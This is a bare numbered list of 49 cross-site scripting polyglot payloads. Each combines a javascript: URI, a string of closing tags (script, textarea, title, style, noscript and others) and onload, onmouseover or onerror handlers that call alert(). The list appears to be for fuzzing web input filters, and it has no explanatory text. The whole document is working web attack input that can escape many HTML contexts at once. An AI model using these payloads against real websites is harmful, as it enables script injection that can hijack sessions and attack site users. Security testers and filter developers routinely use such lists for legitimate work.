1 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//> 2 javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//> 3 javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//> 4 javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>` 5 javascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">` 6 javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script> 7 javascript:"/*`/*\"/*'/*</stYle/</titLe/</teXtarEa/</nOscript></noembed></template></script/--><ScRipt>/*<i<frame/*/ onload=alert()//</Script> 8 javascript:`</template>\"///"//</script/--></title/'</style/</textarea/</noembed/</noscript><<script/>/<frame */; onload=alert()//<</script>` 9 javascript:`</template>\"///"//</script/--></title/'</style/</textarea/</noembed/</noscript><<script/>/<frame */; onload=alert()//<</script>` 10 javascript:/*`//'//\"//</style></noscript></script>--></textarea></noembed></template></title><script>/<frame <svg"///*/ onload=alert()//</script> 11 javascript:/*"//'//`//\"//--></script></title></style></textarea></template></noembed></noscript><script>//<frame/<svg/*/onload= alert()//</script> 12 javascript:/*-->'//"//`//\"//</title></textarea></style></noscript></script></noembed></template><script>/*<frame/<svg */ onload=alert()//</script> 13 javascript:/*"/*'/*`/*\"/*</script/</title/</textarea/</style/</noscript></template></noembed>--><script>/*<svg <frame */ onload=alert()//</script> 14 javascript:/*"/*'/*\"/*`/*--></title></noembed></template></textarea></noscript></style></script><script>//<frame <svg */ onload=alert()//</script> 15 javascript:/*"/*`/*'/*\"/*--></title></script></textarea></noscript></style></noembed></template><script> /*<svg <frame onload=/**/alert()//</script> 16 javascript:"/*'//`//\"//</title></template/</textarea/</style/</noscript/</noembed/</script>--><<script>alert()<</script><frame/*/ onload=alert()//> 17 javascript:alert()"//</title></textarea></style></noscript></noembed></template></script>\"//'//`//--><script>//<svg <frame */onload= alert()//</script> 18 javascript:/*"/*`/*'/*\"/*</script></style></template></select></title></textarea></noscript></noembed><frame/onload=alert()--><<svg/*/ onload=alert()//> 19 javascript:"/*`/*\"/*' /*</stYle/</titLe/</teXtarEa/</nOscript></Script></noembed></select></template><FRAME/onload=/**/alert()//--><<sVg/onload=alert``> 20 javascript:/*--></script></textarea></style></noscript>\"</noembed>[`</template>["</select>['</title>]<<script>///<frame */ onload=alert()//<</script> 21 javascript:"/*\"/*'/*`/*--></noembed></template></noscript></title></textarea></style></script></select><frame/onload=alert()><<svg/onload= /**/alert()//> 22 javascript:/*"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script><<script> /**/alert()//<</script><frame onload=alert()> 23 javascript:"/*\"/*'/*--></title></textarea></style></noscript></template></noembed></script><<script>/*` /*<frame src=javascript:/**/alert()//><</script> 24 javascript:"/*'/*\"/*` /**/alert()//--></title></textarea></style></noscript></noembed></template></script><script>alert()</script><svg/<frame/onload=alert()> 25 javascript:/*"/*`/*'/*\"/*-->*/ alert()//</title></textarea></style></noscript></noembed></template></script></select><frame/onload=alert``><<svg/onload=alert()> 26 javascript:`/*</title></style></textarea></noscript></script></noembed></template></select/"/'/*--><frame onload=alert()><svg/\"/*<svg onload=' /**/-alert()//'>javascript:/*`/*\"/*'/*</noembed>"/*<frame src=javascript:/**/;alert()//--></title></textarea></style></noscript></template></select></script><<svg/onload= alert()//> 27 javascript:alert()//"/*`/*'/*\"/*--></title></textarea></noscript></noembed></template></style></script>*/ alert()//<frame onload=alert()><<script>alert()<</script> 28 javascript:alert()//'//"//\"//-->`//*/ alert();//</title></textarea></style></noscript></noembed></template><frame onload=alert()></select></script><<svg onload=alert()> 29 javascript:/*"/*\"/*`/*'/**/ (alert())//</title></textarea></style></noscript></script></noembed></template></select><frame src=javascript:alert()--><<svg/onload=alert()> 30 javascript:/*"/*'/*\"/*`/*><frame src=javascript:alert()></template </textarea </title </style </noscript </noembed </script --><<script>alert()<</script>\ /**/alert()// 31 javascript:/*`/*'/*'/*"-/*\"/**/ alert()//></title></textarea></style></select></script></noembed></noscript></template>--><<svg/onload=alert()><frame/src=javascript:alert()> 32 javascript:'/*`/*'/*"/*\"/*<FRAME SRC= javascript:/**/-alert()//--></title></textarea></style></noscript></noembed></template></script><script>//<svg onload= alert()//</script> 33 javascript:alert()//--></title></style></noscript></noembed></template></select></textarea><frameset onload=alert()></script>*///\"//`//'//"//><svg <svg onload=alert()> alert()// 34 javascript:alert()//'//"//\"; '/`/*\/*'/*"/**/(alert())//</style></template/</title/</textarea/</noscript/</noembed/</script>--><frame <svg onload=alert()><script>alert()</script> 35 javascript:/*"/*'/*`/*\"/**/ alert()//*</title></textarea></style></noscript></noembed></template></option></select></SCRIPT>--><<svg onload=alert()><frame src=javascript:alert()> 36 javascript:alert()//\"//`//'//"//--></style></select></noscript></noembed></template></title></textarea></script><iframe/srcdoc="<svg/onload=alert()>"><frame/onload=alert()>*/ alert()// 37 javascript:alert()//*-->*`/*'/*"/*\"/*</title></textarea></style></noscript></noembed></template><frame src=javascript:alert()></script><script>/*<svg onload=alert()>*/ alert()//</script> 38 jaVasCript:/*`/*\`/*'/*\"//"/**/(onload=alert())//<svg/onload=alert()><frame/onload=alert()></select></noscript></noembed></template></stYle/</titLe/</teXtarEa/</script/--><sVg/oNloAd= alert()//> 39 javascript:alert()//'//"//`//></a></option></select></template></noscript></script></title></style></textarea></noembed>--><<svg onload=alert()>\">alert()//*/ alert()//<frame src=javascript:alert()> 40 javascript:alert()//\ /*<svg/onload=';alert();'></textarea></style></title></noscript></template></noembed><frame onload=";alert();"></script>--><script>alert`;alert();`</script>*/alert()//\";alert()// 41 javascript:alert/*`/*\/*'/*\"/*"/**/(alert())// alert()//--></template><frame/onload=alert() <img src=x onerror=alert()></style/</title/</textarea/</noscript/</noembed/</script><script>alert()</script> 42 javascript:alert();//</title></noscript></noembed></template></style></textarea><frameset onload='+/"/+/[*/[]/+alert()//'-->\" alert();/*`/**/(/**/alert())//<script>alert()</script><<svg onload=alert()>> 43 javascript:alert()//*/alert()/*'-/"/-eval(`(alert())`)//\"-alert()//--></title></style></noscript></textarea></template></noembed><script>alert()</script><frameset onload=alert()><svg/onload=alert(1)> alert()// 44 javascript:alert()//\";alert();/*-/*`/*\`/*'/*"/**///--><FRAME SRC="javascript:alert();"></textarea></style></noscript></noembed></template></option></select></script></title><svg/onload=alert()><svg/onload=alert()> alert(1)// 45 javascript:alert()//<frame/src=javascript:alert()><svg/onload=alert()>`;alert()`';alert()//\";alert();//"//--></title></textarea></style></noscript></noembed></template></option></select></script><svg onload=alert()>*/ alert()//* 46 javascript:alert()//</title></style></textarea></noscript></template></noembed><script>alert()</script>-->\";alert()//";alert()//';alert()//<script>alert()</script><frame src="javascript:alert()">` alert()//<svg/onload=alert()>*/alert()/* 47 javascript:alert();//<img src=x:x onerror=alert(1)>\";alert();//";alert();//';alert();//`;alert();// alert();//*/alert();//--></title></textarea></style></noscript></noembed></template></select></script><frame src=javascript:alert()><svg onload=alert()><!-- 48 javascript:/*--></title></style></template></noscript></noembed></textarea></script><svg/onload='+/"/+/onclick=1/+/[*/[]/+alert()//'>"><svg/onload=`+/"/+/onclick=/+/[*/[]/+alert()//'>"><script>alert()</script><frame src="javascript:alert()"></frameset>+\"; alert()//<img src onerror=alert()> 49 javascript:alert(1)//\";alert(1);<!--jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//--><FRAME SRC="javascript:alert(1);"></textarea></style></iframe></noscript></noembed></template></option></select></script><img src=x onerror=alert(1)></title><script>alert(1)</script><img src=0 onerror=alert(1)><img src=x:x onerror=alert(1)> alert(1)//